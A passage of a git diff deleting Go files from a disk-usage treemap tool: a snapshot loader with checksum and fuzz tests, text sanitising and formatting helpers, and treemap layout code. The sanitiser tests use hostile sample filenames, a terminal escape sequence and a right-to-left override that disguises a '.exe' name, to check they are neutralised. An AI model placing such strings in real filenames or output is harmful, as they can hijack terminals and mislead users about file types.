= append(depth, depth[parent]+1) - } - n := t.Node(id) - n.Cat, n.Flags = cat, flags - n.Size, n.Alloc, n.MTime = size, alloc, mtime - n.Mode, n.UID, n.GID, n.Nlink = uint32(mode), uint32(uid), uint32(gid), uint32(nlink) - if kind != inventory.KindDir && ext < uint64(len(exts)) { - n.Ext = extIndex(exts[ext]) - } - } - nErr := r.uvarint(inventory.MaxErrorRecords, "error count") - for range nErr { - node := r.uvarint(nNodes-1, "error node") - kind := inventory.ErrKind(r.byte1()) - name := r.str(MaxNameLen, "error name") - msg := r.str(MaxMsgLen, "error message") - if r.err != nil { - break - } - if kind >= inventory.NumErrKinds { - kind = inventory.ErrOther - } - t.Stats.Errors = append(t.Stats.Errors, inventory.ErrorRecord{Node: inventory.NodeID(node), Kind: kind, Name: name, Msg: msg}) - } - if r.err != nil { - return nil, r.err - } - // The body must end here, then the checksum follows the gzip stream. - if _, err := r.r.ReadByte(); err != io.EOF { - return nil, errors.New("snapshot: trailing data in body") - } - sum := make([]byte, sha256.Size) - if _, err := io.ReadFull(br, sum); err != nil { - return nil, errors.New("snapshot: missing checksum") - } - if !bytes.Equal(sum, h.Sum(nil)) { - return nil, errors.New("snapshot: checksum mismatch (file corrupt)") - } - - t.Recompute() - st := &t.Stats - st.Start, st.End, st.Complete, st.Cancelled = m.Start, m.End, true, m.Cancelled - st.Files, st.Dirs, st.Symlinks, st.Others = m.Files, m.Dirs, m.Symlinks, m.Others - copy(st.ErrCounts[:], m.ErrCounts) - st.Excluded, st.SkippedMounts, st.VirtualSkipped = m.Excluded, m.SkippedMounts, m.VirtualSkipped - st.LoopsSkipped, st.BrokenLinks, st.HardlinkDups, st.Unscanned = m.LoopsSkipped, m.BrokenLinks, m.HardlinkDups, m.Unscanned - st.Excludes, st.OneFileSystem, st.Follow, st.Workers = m.Excludes, m.OneFileSystem, m.Follow, m.Workers - st.FromSnapshot = fmt.Sprintf("%s (%s, %s)", m.Created.Local().Format("2006-01-02 15:04"), m.Host, m.Generator) - return t, nil -} - -func validName(s string) bool { - return s != "" && s != "." && s != ".." && !strings.ContainsAny(s, "/\x00") -} - -// LoadFile opens and loads a snapshot file. -func LoadFile(path string) (*inventory.Tree, error) { - f, err := os.Open(path) - if err != nil { - return nil, err - } - defer f.Close() - limit, nodes := int64(DefaultMaxBody), uint64(MaxNodes) - if fi, err := f.Stat(); err == nil { - limit, nodes = bodyLimit(fi.Size()), nodeLimit(fi.Size()) - } - return load(f, limit, nodes) -} diff --git a/internal/snapshot/snapshot_test.go b/internal/snapshot/snapshot_test.go deleted file mode 100644 index 1e749f8..0000000 --- a/internal/snapshot/snapshot_test.go +++ /dev/null @@ -1,139 +0,0 @@ -package snapshot - -import ( - "bufio" - "bytes" - "encoding/binary" - "testing" - - "github.com/andydixon/mapsize/internal/inventory" -) - -func sample() *inventory.Tree { - t := inventory.New("/srv", inventory.KindDir) - a := t.Add(0, "a", inventory.KindDir) - b := t.Add(0, "b", inventory.KindDir) - f1 := t.Add(a, "x.iso", inventory.KindFile) - t.Node(f1).Size, t.Node(f1).Alloc = 1000, 1024 - f2 := t.Add(b, "y.log", inventory.KindFile) - t.Node(f2).Size, t.Node(f2).Alloc = 50, 4096 - t.Node(f2).Flags = inventory.FlagSparse - t.Recompute() - t.Stats.Files, t.Stats.Dirs = 2, 3 - t.Stats.AddError(inventory.ErrorRecord{Node: b, Kind: inventory.ErrPermission, Msg: "denied"}) - return t -} - -func TestRoundTrip(t *testing.T) { - src := sample() - var buf bytes.Buffer - if err := Save(&buf, src); err != nil { - t.Fatal(err) - } - got, err := Load(bytes.NewReader(buf.Bytes())) - if err != nil { - t.Fatal(err) - } - if got.Len() != src.Len() { - t.Fatalf("len %d want %d", got.Len(), src.Len()) - } - for i := range src.Len() { - a, b := src.Node(inventory.NodeID(i)), got.Node(inventory.NodeID(i)) - if a.Name != b.Name || a.TotSize != b.TotSize || a.TotAlloc != b.TotAlloc || a.Flags != b.Flags || - src.Path(inventory.NodeID(i)) != got.Path(inventory.NodeID(i)) || src.ExtName(a) != got.ExtName(b) { - t.Fatalf("node %d differs: %+v vs %+v", i, a, b) - } - } - if got.Stats.ErrCounts[inventory.ErrPermission] != 1 || len(got.Stats.Errors) != 1 { - t.Fatalf("errors not restored: %+v", got.Stats) - } -} - -func TestCorruptionDetected(t *testing.T) { - var buf bytes.Buffer - Save(&buf, sample()) - data := buf.Bytes() - // Flip a byte in the checksum trailer. - bad := append([]byte(nil), data...) - bad[len(bad)-1] ^= 0xff - if _, err := Load(bytes.NewReader(bad)); err == nil { - t.Fatal("checksum corruption not detected") - } - // Every truncation must fail cleanly. - for i := 0; i < len(data)-1; i += 7 { - if _, err := Load(bytes.NewReader(data[:i])); err == nil { - t.Fatalf("truncation at %d accepted", i) - } - } -} - -func FuzzLoad(f *testing.F) { - var buf bytes.Buffer - Save(&buf, sample()) - f.Add(buf.Bytes()) - f.Add([]byte("MAPSIZE\x00\x01\x00\x01\x00")) - f.Fuzz(func(t *testing.T, data []byte) { - tr, err := Load(bytes.NewReader(data)) - if err != nil { - return - } - // A successfully loaded tree must be internally consistent. - for i := 1; i < tr.Len(); i++ { - if p := tr.Node(inventory.NodeID(i)).Parent; p >= inventory.NodeID(i) { - t.Fatalf("parent %d >= child %d", p, i) - } - } - _ = tr.Path(inventory.NodeID(tr.Len() - 1)) - }) -} - -func TestCompare(t *testing.T) { - old := sample() - nw := inventory.New("/srv", inventory.KindDir) - a := nw.Add(0, "a", inventory.KindDir) - f1 := nw.Add(a, "x.iso", inventory.KindFile) - nw.Node(f1).Size, nw.Node(f1).Alloc = 5000, 5120 - c := nw.Add(0, "c", inventory.KindDir) - f3 := nw.Add(c, "z", inventory.KindFile) - nw.Node(f3).Size, nw.Node(f3).Alloc = 10, 4096 - nw.Recompute() - - d := Compare(old, nw) - if d.StatusOf(f1, inventory.SizeAllocated) != Grew || d.Delta(f1, inventory.SizeAllocated) != 4096 { - t.Fatalf("x.iso: %v %d", d.StatusOf(f1, 0), d.Delta(f1, 0)) - } - if d.StatusOf(c, 0) != Added { - t.Fatal("c should be new") - } - if len(d.Removed) != 1 || old.Node(d.Removed[0]).Name != "b" { - t.Fatalf("removed %v", d.Removed) - } - ch := d.Changes(10, inventory.SizeAllocated) - paths := map[string]Status{} - for _, c := range ch { - paths[c.Path] = c.Status - } - if paths["/srv/a/x.iso"] != Grew || paths["/srv/b"] != Removed || paths["/srv/c"] != Added { - t.Fatalf("changes %+v", ch) - } - if _, ok := paths["/srv/a"]; ok { - t.Fatal("/srv/a should be explained by its child") - } - if _, ok := paths["/srv/c/z"]; ok { - t.Fatal("contents of new dirs should not be listed separately") - } -} - -func TestReadUvarintMatchesStdlib(t *testing.T) { - for _, v := range []uint64{0, 1, 127, 128, 300, 1 << 35, 1<<64 - 1} { - buf := binary.AppendUvarint(nil, v) - got, err := readUvarint(bufio.NewReader(bytes.NewReader(buf))) - if err != nil || got != v { - t.Fatalf("%d: got %d %v", v, got, err) - } - } - bad := bytes.Repeat([]byte{0xff}, 11) - if _, err := readUvarint(bufio.NewReader(bytes.NewReader(bad))); err == nil { - t.Fatal("overflow not detected") - } -} diff --git a/internal/textutil/text.go b/internal/textutil/text.go deleted file mode 100644 index 7ee1e0c..0000000 --- a/internal/textutil/text.go +++ /dev/null @@ -1,160 +0,0 @@ -// Package textutil holds display helpers: sanitising untrusted strings for -// the terminal, width-aware truncation, and human-readable units. -package textutil - -import ( - "fmt" - "strings" - "unicode/utf8" - - "github.com/charmbracelet/x/ansi" - "github.com/rivo/uniseg" -) - -// Sanitize makes an untrusted string (a filename, snapshot data) safe to -// write to a terminal. Control characters (C0, DEL, C1) and bidi overrides are -// replaced by visible escapes; invalid UTF-8 becomes U+FFFD. The original -// string should be kept for filesystem operations. -func Sanitize(s string) string { - clean := true - for i := 0; i < len(s); i++ { - if c := s[i]; c < 0x20 || c >= 0x7f { - clean = false - break - } - } - if clean { - return s - } - var b strings.Builder - b.Grow(len(s) + 8) - for i := 0; i < len(s); { - r, size := utf8.DecodeRuneInString(s[i:]) - if r == utf8.RuneError && size <= 1 { - b.WriteRune(utf8.RuneError) - i++ - continue - } - i += size - switch { - case r < 0x20 || r == 0x7f || (r >= 0x80 && r <= 0x9f): - fmt.Fprintf(&b, `\x%02x`, r) - case isBidiControl(r): - fmt.Fprintf(&b, `\u%04x`, r) - default: - b.WriteRune(r) - } - } - return b.String() -} - -func isBidiControl(r rune) bool { - return (r >= 0x202a && r <= 0x202e) || (r >= 0x2066 && r <= 0x2069) || - r == 0x200e || r == 0x200f || r == 0x061c -} - -// Clusters calls fn for each grapheme cluster of s with its display width. -// Clusters whose width terminals disagree on (per-rune wcwidth versus -// grapheme width, e.g. emoji ZWJ sequences) are replaced by U+FFFD with -// width 1, and zero-width clusters are dropped, so that measuring and -// drawing always agree with the terminal. fn returns false to stop. -func Clusters(s string, fn func(c string, w int) bool) { - state := -1 - for s != "" { - var c string - var w int - c, s, w, state = uniseg.FirstGraphemeClusterInString(s, state) - if w == 0 { - continue - } - if len(c) > 1 && ansi.WcWidth.StringWidth(c) != w { - c, w = "\uFFFD", 1 - } - if !fn(c, w) { - return - } - } -} - -// Width returns the display width of s in terminal cells. -func Width(s string) int { - n := 0 - for i := 0; i < len(s); i++ { - if s[i] < 0x20 || s[i] >= 0x7f { - Clusters(s, func(_ string, w int) bool { n += w; return true }) - return n - } - } - return len(s) -} - -// Truncate clips s to at most w cells, appending "…" if anything was cut. -func Truncate(s string, w int) string { - if w <= 0 { - return "" - } - if Width(s) <= w { - return s - } - return clip(s, w-1) + "…" -} - -// TruncateLeft clips from the left, prefixing "…" (used for paths and -// breadcrumbs where the tail is the informative part). -func TruncateLeft(s string, w int) string { - if w <= 0 { - return "" - } - total := Width(s) - if total <= w { - return s - } - skip := total - (w - 1) - var b strings.Builder - Clusters(s, func(c string, cw int) bool { - if skip > 0 { - skip -= cw - if skip < 0 { - // A wide cluster overshot by one cell; pad to keep width exact. - b.WriteString(strings.Repeat(" ", -skip)) - } - return true - } - b.WriteString(c) - return true - }) - return "…" + b.String() -} - -// clip returns the longest prefix of s that fits in w cells. -func clip(s string, w int) string { - var b strings.Builder - used := 0 - Clusters(s, func(c string, cw int) bool { - if used+cw > w { - return false - } - used += cw - b.WriteString(c) - return true - }) - return b.String() -} - -// PadRight pads s with spaces to exactly w cells (truncating if longer). -func PadRight(s string, w int) string { - s = Truncate(s, w) - if d := w - Width(s); d > 0 { - s += strings.Repeat(" ", d) - } - return s -} - -// PadLeft right-aligns s in w cells. -func PadLeft(s string, w int) string { - s = Truncate(s, w) - if d := w - Width(s); d > 0 { - s = strings.Repeat(" ", d) + s - } - return s -} diff --git a/internal/textutil/text_test.go b/internal/textutil/text_test.go deleted file mode 100644 index 6eb0804..0000000 --- a/internal/textutil/text_test.go +++ /dev/null @@ -1,74 +0,0 @@ -package textutil - -import ( - "strings" - "testing" -) - -func TestSanitize(t *testing.T) { - cases := map[string]string{ - "plain.txt": "plain.txt", - "evil\x1b[2Jname": `evil\x1b[2Jname`, - "bell\a": `bell\x07`, - "c1\u009bx": `c1\x9bx`, - "bad\xffutf8": "bad�utf8", - "rtl\u202egnp.exe": `rtl\u202egnp.exe`, - "日本語": "日本語", - "tab\tnew\nline\rdel\x7f": `tab\x09new\x0aline\x0ddel\x7f`, - } - for in, want := range cases { - if got := Sanitize(in); got != want { - t.Errorf("Sanitize(%q) = %q, want %q", in, got, want) - } - if strings.ContainsAny(Sanitize(in), "\x1b\a\u009b") { - t.Errorf("control byte survived in %q", in) - } - } -} - -func TestTruncate(t *testing.T) { - if got := Truncate("hello world", 5); got != "hell…" { - t.Errorf("got %q", got) - } - if got := Truncate("日本語テキスト", 5); Width(got) > 5 { - t.Errorf("wide truncation overflow: %q width %d", got, Width(got)) - } - if got := Truncate("abc", 3); got != "abc" { - t.Errorf("got %q", got) - } - if got := Truncate("abc", 0); got != "" { - t.Errorf("got %q", got) - } - if got := TruncateLeft("/a/very/long/path", 8); Width(got) != 8 || !strings.HasSuffix(got, "path") { - t.Errorf("TruncateLeft got %q", got) - } - if got := TruncateLeft("ab日本語", 4); Width(got) != 4 { - t.Errorf("TruncateLeft wide got %q (%d)", got, Width(got)) - } -} - -func TestSize(t *testing.T) { - cases := map[int64]string{0: "0 B", 1023: "1023 B", 1024: "1.00 KiB", 1536: "1.50 KiB", - 181 << 30: "181 GiB", 1 << 62: "4.00 EiB"} - for in, want := range cases { - if got := Size(in); got != want { - t.Errorf("Size(%d)=%q want %q", in, got, want) - } - } - if got := Count(2184392); got != "2,184,392" { - t.Errorf("Count got %q", got) - } - if got := SignedSize(-2048); got != "-2.00 KiB" { - t.Errorf("SignedSize got %q", got) - } -} - -func TestClustersAgreeWithWidth(t *testing.T) { - for _, s := range []string{"abc", "日本", "é", "👨‍👩‍👧", "🎉x", "​"} { - n := 0 - Clusters(s, func(_ string, w int) bool { n += w; return true }) - if n != Width(s) { - t.Errorf("%q: clusters %d width %d", s, n, Width(s)) - } - } -} diff --git a/internal/textutil/units.go b/internal/textutil/units.go deleted file mode 100644 index 0aeedb8..0000000 --- a/internal/textutil/units.go +++ /dev/null @@ -1,125 +0,0 @@ -package textutil - -import ( - "fmt" - "strconv" - "time" -) - -// SI selects decimal units (kB, MB, …). The default is IEC (KiB, MiB, …). -// It is set once at start-up, before any goroutines format sizes. -var SI bool - -var ( - iecUnits = []string{"B", "KiB", "MiB", "GiB", "TiB", "PiB", "EiB"} - siUnits = []string{"B", "kB", "MB", "GB", "TB", "PB", "EB"} -) - -func scaled(n int64) (float64, string) { - base, units := 1024.0, iecUnits - if SI { - base, units = 1000.0, siUnits - } - neg := n < 0 - v := float64(n) - if neg { - v = -v - } - i := 0 - for v >= base && i < len(units)-1 { - v /= base - i++ - } - if neg { - v = -v - } - return v, units[i] -} - -func num(v float64, unit string) string { - a := v - if a < 0 { - a = -a - } - switch { - case unit == "B": - return strconv.FormatFloat(v, 'f', 0, 64) - case a < 10: - return strconv.FormatFloat(v, 'f', 2, 64) - case a < 100: - return strconv.FormatFloat(v, 'f', 1, 64) - default: - return strconv.FormatFloat(v, 'f', 0, 64) - } -} - -// Size formats a byte count, e.g. "86.4 GiB". -func Size(n int64) string { - v, u := scaled(n) - return num(v, u) + " " + u -} - -// SizeCompact formats a byte count in at most ~7 cells, e.g. "86GiB". -func SizeCompact(n int64) string { - v, u := scaled(n) - a := v - if a < 0 { - a = -a - } - if u != "B" && a < 10 { - return strconv.FormatFloat(v, 'f', 1, 64) + u - } - return strconv.FormatFloat(v, 'f', 0, 64) + u -} - -// SignedSize formats a delta with an explicit sign. -func SignedSize(n int64) string { - if n > 0 { - return "+" + Size(n) - } - if n < 0 { - return "-" + Size(-n) - } - return "±0 B" -} - -// Count formats an integer with thousands separators. -func Count(n int64) string { - s := strconv.FormatInt(n, 10) - neg := false - if n < 0 { - neg, s = true, s[1:] - } - out := make([]byte, 0, len(s)+len(s)/3) - for i := range len(s) { - if i > 0 && (len(s)-i)%3 == 0 { - out = append(out, ',') - } - out = append(out, s[i]) - } - if neg { - return "-" + string(out) - } - return string(out) -} - -// Duration formats an elapsed time as mm:ss or h:mm:ss. -func Duration(d time.Duration) string { - s := int64(d.Seconds()) - if s >= 3600 { - return fmt.Sprintf("%d:%02d:%02d", s/3600, s/60%60, s%60) - } - return fmt.Sprintf("%02d:%02d", s/60, s%60) -} - -// Percent formats part/whole as a percentage. -func Percent(part, whole int64) string { - if whole <= 0 { - return "–" - } - p := float64(part) * 100 / float64(whole) - if p < 10 { - return strconv.FormatFloat(p, 'f', 1, 64) + "%" - } - return strconv.FormatFloat(p, 'f', 0, 64) + "%" -} diff --git a/internal/treemap/nav.go b/internal/treemap/nav.go deleted file mode 100644 index e947b84..0000000 --- a/internal/treemap/nav.go +++ /dev/null @@ -1,106 +0,0 @@ -package treemap - -// Direction is an arrow-key direction. -type Direction int - -const ( - Left Direction = iota - Right - Up - Down -) - -// Neighbour finds the block a user expects to reach by pressing an arrow -// key from the block with ID sel: -// -// 1. Only blocks entirely beyond the selected block's edge in the -// direction of travel are candidates. -// 2. Blocks whose span overlaps the selected block's orthogonal span are -// strongly preferred over all others. -// 3. Then the smallest gap along the direction of travel wins. -// 4. Then the largest overlap with the selected block's span. -// 5. Then the block whose orthogonal span is closest to the selected -// block's centre line (0 if it contains it). -// 6. Ties break by position (top, then left) and finally ID. -// -// It returns false if there is no block in that direction. -func Neighbour(blocks []Block, sel int64, d Direction) (int64, bool) { - var s Block - found := false - for _, b := range blocks { - if b.ID == sel { - s, found = b, true - break - } - } - if !found { - return 0, false - } - type score struct { - tier, gap, ovl, off, y, x int - id int64 - } - less := func(a, b score) bool { - switch { - case a.tier != b.tier: - return a.tier < b.tier - case a.gap != b.gap: - return a.gap < b.gap - case a.ovl != b.ovl: - return a.ovl > b.ovl - case a.off != b.off: - return a.off < b.off - case a.y != b.y: - return a.y < b.y - case a.x != b.x: - return a.x < b.x - } - return a.id < b.id - } - var best score - have := false - for _, c := range blocks { - if c.ID == sel { - continue - } - var gap, lo, hi, clo, chi int - var ok bool - switch d { - case Right: - ok, gap = c.X >= s.X+s.W, c.X-(s.X+s.W) - lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H - case Left: - ok, gap = c.X+c.W <= s.X, s.X-(c.X+c.W) - lo, hi, clo, chi = s.Y, s.Y+s.H, c.Y, c.Y+c.H - case Down: - ok, gap = c.Y >= s.Y+s.H, c.Y-(s.Y+s.H) - lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W - case Up: - ok, gap = c.Y+c.H <= s.Y, s.Y-(c.Y+c.H) - lo, hi, clo, chi = s.X, s.X+s.W, c.X, c.X+c.W - } - if !ok { - continue - } - tier, ovl := 1, min(hi, chi)-max(lo, clo) - if ovl > 0 { - tier = 0 - } else { - ovl = 0 - } - // Distance (doubled, to stay integral) from the selected centre - // line to the candidate's span; 0 if the span contains it. - centre := lo + hi - off := 0 - if centre < 2*clo { - off = 2*clo - centre - } else if centre > 2*chi { - off = centre - 2*chi - } - sc := score{tier, gap, ovl, off, c.Y, c.X, c.ID} - if !have || less(sc, best) { - best, have = sc, true - } - } - return best.id, have -} diff --git a/internal/treemap/treemap.go b/internal/treemap/treemap.go deleted file mode 100644 index 1dd9aab..0000000 --- a/internal/treemap/treemap.go +++ /dev/null @@ -1,189 +0,0 @@ -// Package treemap is pure geometry: squarified layout on a cell grid, -// level-of-detail selection and spatial neighbour search. It has no -// knowledge of filesystems or terminals. -package treemap - -import ( - "math" - "sort" -) - -// Rect is an integer cell rectangle. -type Rect struct{ X, Y, W, H int } - -// Empty reports whether r has no cells. -func (r Rect) Empty() bool { return r.W <= 0 || r.H <= 0 } - -// Area returns W*H. -func (r Rect) Area() int { return max(r.W, 0) * max(r.H, 0) } - -// Contains reports whether the cell (x, y) is inside r. -func (r Rect) Contains(x, y int) bool { return x >= r.X && x < r.X+r.W && y >= r.Y && y < r.Y+r.H } - -// Inset shrinks r by n cells on each side. -func (r Rect) Inset(n int) Rect { - r = Rect{r.X + n, r.Y + n, r.W - 2*n, r.H - 2*n} - if r.W < 0 { - r.W = 0 - } - if r.H < 0 { - r.H = 0 - } - return r -} - -// Item is something to lay out. Size must be > 0 to receive space. -type Item struct { - ID int64 - Size float64 -} - -// Block is a laid-out item. -type Block struct { - ID int64 - Rect -} - -// Squarify lays items out inside bounds using the squarified treemap -// algorithm (Bruls, Huizing, van Wijk). Items with non-positive size are -// ignored. The output partitions bounds exactly: rectangle edges are snapped -// to the grid by rounding shared float edges, so there are no gaps and no -// overlaps. Items that round to zero width or height are omitted. The result -// is deterministic for a given input set regardless of input order. -func Squarify(items []Item, bounds Rect) []Block { - if bounds.Empty() { - return nil - } - its := make([]Item, 0, len(items)) - total := 0.0 - for _, it := range items { - if it.Size > 0 && !math.IsInf(it.Size, 0) && !math.IsNaN(it.Size) { - its = append(its, it) - total += it.Size - } - } - if len(its) == 0 || total <= 0 { - return nil - } - sort.SliceStable(its, func(i, j int) bool { - if its[i].Size != its[j].Size { - return its[i].Size > its[j].Size - } - return its[i].ID < its[j].ID - }) - scale := float64(bounds.W) * float64(bounds.H) / total - areas := make([]float64, len(its)) - for i, it := range its { - areas[i] = it.Size * scale - } - frs := layout(areas, float64(bounds.X), float64(bounds.Y), float64(bounds.W), float64(bounds.H)) - out := make([]Block, 0, len(its)) - for i, f := range frs { - x0, y0 := int(math.Round(f[0])), int(math.Round(f[1])) - x1, y1 := int(math.Round(f[0]+f[2])), int(math.Round(f[1]+f[3])) - x1 = min(x1, bounds.X+bounds.W) - y1 = min(y1, bounds.Y+bounds.H) - if x1 > x0 && y1 > y0 { - out = append(out, Block{ID: its[i].ID, Rect: Rect{x0, y0, x1 - x0, y1 - y0}}) - } - } - return out -} - -// worst returns the worst aspect ratio of a row with the given sum, largest -// and smallest areas laid along a side of length side. -func worst(sum, largest, smallest, side float64) float64 { - s2, w2 := sum*sum, side*side - return math.Max(w2*largest/s2, s2/(w2*smallest)) -} - -// layout returns float rectangles [x, y, w, h] for areas sorted descending. -func layout(areas []float64, x, y, w, h float64) [][4]float64 { - out := make([][4]float64, len(areas)) - n := len(areas) - for i := 0; i < n; { - short := math.Min(w, h) - j := i + 1 - sum := areas[i] - cur := worst(sum, areas[i], areas[i], short) - for j < n { - s2 := sum + areas[j] - if nw := worst(s2, areas[i], areas[j], short); nw > cur { - break - } else { - cur = nw - } - sum = s2 - j++ - } - last := j == n - if w >= h { - thick := sum / h - if last || thick > w { - thick = w - } - yy := y - for k := i; k < j; k++ { - hh := areas[k] / sum * h - if k == j-1 { - hh = y + h - yy - } - out[k] = [4]float64{x, yy, thick, hh} - yy += hh - } - x += thick - w -= thick - } else { - thick := sum / w - if last || thick > h { - thick = h - } - xx := x - for k := i; k < j; k++ { - ww := areas[k] / sum * w - if k == j-1 { - ww = x + w - xx - } - out[k] = [4]float64{xx, y, ww, thick} - xx += ww - } - y += thick - h -= thick - } - i = j - } - return out -} - -// Visible decides how many leading items of a size-sorted (descending) -// list deserve their own block when area cells represent total: items are -// kept while each would get at least minArea cells and fewer than maxItems -// have been kept. The remainder should be merged into one group block. -func Visible(sizes []float64, total float64, area, minArea, maxItems int) int { - if total <= 0 || area <= 0 { - return 0 - } - k := 0 - for k < len(sizes) && k < maxItems { - if sizes[k]/total*float64(area) < float64(minArea) { - break - } - k++ - } - // Grouping a single leftover item gains nothing; show it directly if it - // gets at least one cell. - if k == len(sizes)-1 && k < maxItems && sizes[k]/total*float64(area) >= 1 { - k++ - } - return k -} - -// At returns the block containing the cell (x, y). -func At(blocks []Block, x, y int) (int64, bool) { - for _, b := range blocks { - if b.Contains(x, y) { - return b.ID, true - } - } - return 0, false -} diff --git a/internal/treemap/treemap_test.go b/internal/treemap/treemap_test.go deleted file mode 100644 index 9638f9c..0000000 --- a/internal/treemap/treemap_test.go +++ /dev/null @@ -1,247 +0,0 @@ -package treemap - -import ( - "math/rand" - "testing" -) - -func checkPartition(t *testing.T, blocks []Block, b Rect, exact bool) { - t.Helper() - grid := make([]int, b.W*b.H) - for _, bl := range blocks { - if bl.W <= 0 || bl.H <= 0 { - t.Fatalf("non-positive block %+v", bl) - } - if bl.X < b.X || bl.Y < b.Y || bl.X+bl.W > b.X+b.W || bl.Y+bl.H > b.Y+b.H { - t.Fatalf("block %+v outside bounds %+v", bl, b) - } - for y := bl.Y; y < bl.Y+bl.H; y++ { - for x := bl.X; x < bl.X+bl.W; x++ { - i := (y-b.Y)*b.W + (x - b.X) - if grid[i] != 0 { - t.Fatalf("overlap at %d,%d", x, y) - } - grid[i] = 1 - } - } - } - if exact { - for i, v := range grid { - if v == 0 { - t.Fatalf("gap at %d,%d", b.X+i%b.W, b.Y+i/b.W) - } - } - } -} - -func TestSquarifyBasic(t *testing.T) { - b := Rect{2, 3, 60, 20} - items := []Item{{1, 6}, {2, 6}, {3, 4}, {4, 3}, {5, 2}, {6, 2}, {7, 1}} - blocks := Squarify(items, b) - if len(blocks) != len(items) { - t.Fatalf("got %d blocks", len(blocks)) - } - checkPartition(t, blocks, b, true) - // Areas roughly proportional. - for _, bl := range blocks { - want := float64(b.Area()) * items[bl.ID-1].Size / 24 - if got := float64(bl.Area()); got < want*0.6-4 || got > want*1.4+4 { - t.Errorf("block %d area %v want ~%v", bl.ID, got, want) - } - } - // Deterministic regardless of input order. - rev := append([]Item(nil), items...) - for i, j := 0, len(rev)-1; i < j; i, j = i+1, j-1 { - rev[i], rev[j] = rev[j], rev[i] - } - b2 := Squarify(rev, b) - for i := range blocks { - if blocks[i] != b2[i] { - t.Fatal("layout depends on input order") - } - } -} - -func TestSquarifyEdgeCases(t *testing.T) { - if Squarify(nil, Rect{0, 0, 10, 10}) != nil { - t.Fatal("nil items") - } - if Squarify([]Item{{1, 0}, {2, -5}}, Rect{0, 0, 10, 10}) != nil { - t.Fatal("zero sizes should produce nothing") - } - for _, b := range []Rect{{0, 0, 0, 0}, {0, 0, 1, 1}, {0, 0, 1, 50}, {0, 0, 50, 1}, {0, 0, -3, 4}} { - bl := Squarify([]Item{{1, 5}, {2, 3}, {3, 1}}, b) - if !b.Empty() { - checkPartition(t, bl, b, true) - } - } - // One enormous item and many tiny ones. - items := []Item{{0, 1e15}} - for i := 1; i < 500; i++ { - items = append(items, Item{int64(i), 1}) - } - bl := Squarify(items, Rect{0, 0, 80, 24}) - checkPartition(t, bl, Rect{0, 0, 80, 24}, true) -} - -func TestResizeRecomputes(t *testing.T) { - items := []Item{{1, 50}, {2, 30}, {3, 20}} - for _, b := range []Rect{{0, 0, 80, 24}, {0, 0, 120, 40}, {0, 0, 300, 80}, {0, 0, 70, 20}, {0, 0, 180, 50}} { - bl := Squarify(items, b) - checkPartition(t, bl, b, true) - if len(bl) != 3 { - t.Fatalf("%v: %d blocks", b, len(bl)) - } - } -} - -func FuzzSquarify(f *testing.F) { - f.Add(int64(1), 80, 24, 10) - f.Add(int64(2), 3, 2, 100) - f.Add(int64(3), 300, 90, 1000) - f.Fuzz(func(t *testing.T, seed int64, w, h, n int) { - w, h, n = w%400, h%150, n%3000 - if w < 0 || h < 0 || n < 0 { - return - } - r := rand.New(rand.NewSource(seed)) - items := make([]Item, n) - for i := range items { - items[i] = Item{int64(i), float64(r.Int63n(1 << uint(r.Intn(40)+1)))} - } - b := Rect{r.Intn(10), r.Intn(10), w, h} - bl := Squarify(items, b) - if !b.Empty() && len(bl) > 0 { - checkPartition(t, bl, b, true) - } - }) -} - -func TestVisible(t *testing.T) { - sizes := []float64{100, 50, 10, 1, 1, 1} - if k := Visible(sizes, 163, 1630, 20, 100); k != 3 { - t.Fatalf("k=%d", k) - } - if k := Visible(sizes, 163, 1630, 20, 2); k != 2 { - t.Fatalf("maxItems k=%d", k) - } - if k := Visible([]float64{10, 1}, 11, 1100, 200, 10); k != 2 { - t.Fatalf("single leftover k=%d", k) - } -} - -// Layout: -// -// ┌───────┬───────┐ -// │ A │ B │ -// ├───┬───┴───────┤ -// │ C │ D │ -// └───┴───────────┘ -func TestNeighbour(t *testing.T) { - A := Block{1, Rect{0, 0, 8, 4}} - B := Block{2, Rect{8, 0, 8, 4}} - C := Block{3, Rect{0, 4, 4, 4}} - D := Block{4, Rect{4, 4, 12, 4}} - bs := []Block{D, C, B, A} // order must not matter - cases := []struct { - from int64 - d Direction - want int64 - ok bool - }{ - {1, Right, 2, true}, {2, Left, 1, true}, {1, Down, 3, true}, {2, Down, 4, true}, - {3, Right, 4, true}, {4, Left, 3, true}, {3, Up, 1, true}, {4, Up, 2, true}, - {1, Left, 0, false}, {1, Up, 0, false}, {4, Right, 0, false}, {4, Down, 0, false}, - } - for _, c := range cases { - got, ok := Neighbour(bs, c.from, c.d) - if ok != c.ok || got != c.want { - t.Errorf("from %d dir %d: got %d,%v want %d,%v", c.from, c.d, got, ok, c.want, c.ok) - } - } -} - -func TestNeighbourPrefersAdjacentOverArrayOrder(t *testing.T) { - // S is on the left; R is directly right; F is far right and lower but - // appears first in the slice. - S := Block{1, Rect{0, 0, 10, 5}} - R := Block{2, Rect{10, 0, 10, 5}} - F := Block{3, Rect{10, 20, 30, 5}} - if got, _ := Neighbour([]Block{F, S, R}, 1, Right); got != 2 { - t.Fatalf("got %d", got) - } - // Tall block on the left with three stacked blocks to the right: pick - // the one at the centre line. - T := Block{10, Rect{0, 0, 10, 9}} - r1 := Block{11, Rect{10, 0, 10, 3}} - r2 := Block{12, Rect{10, 3, 10, 3}} - r3 := Block{13, Rect{10, 6, 10, 3}} - if got, _ := Neighbour([]Block{r3, r1, r2, T}, 10, Right); got != 12 { - t.Fatalf("centre preference: got %d", got) - } - if got, _ := Neighbour([]Block{r3, r1, r2, T}, 13, Left); got != 10 { - t.Fatalf("back left: got %d", got) - } -} - -func TestNeighbourRandomLayoutsAlwaysAdjacent(t *testing.T) { - r := rand.New(rand.NewSource(7)) - for iter := 0; iter < 200; iter++ { - items := make([]Item, 2+r.Intn(30)) - for i := range items { - items[i] = Item{int64(i), float64(1 + r.Intn(1000))} - } - bl := Squarify(items, Rect{0, 0, 120, 40}) - for _, s := range bl { - for _, d := range []Direction{Left, Right, Up, Down} { - id, ok := Neighbour(bl, s.ID, d) - if !ok { - continue - } - var c Block - for _, b := range bl { - if b.ID == id { - c = b - } - } - // In a partition, if any block touches the edge in direction d - // with overlapping span, the chosen one must touch too. - var touch bool - switch d { - case Right: - touch = c.X == s.X+s.W - case Left: - touch = c.X+c.W == s.X - case Down: - touch = c.Y == s.Y+s.H - case Up: - touch = c.Y+c.H == s.Y - } - if !touch { - t.Fatalf("iter %d: from %+v dir %d chose non-adjacent %+v", iter, s, d, c) - } - } - } - } -} - 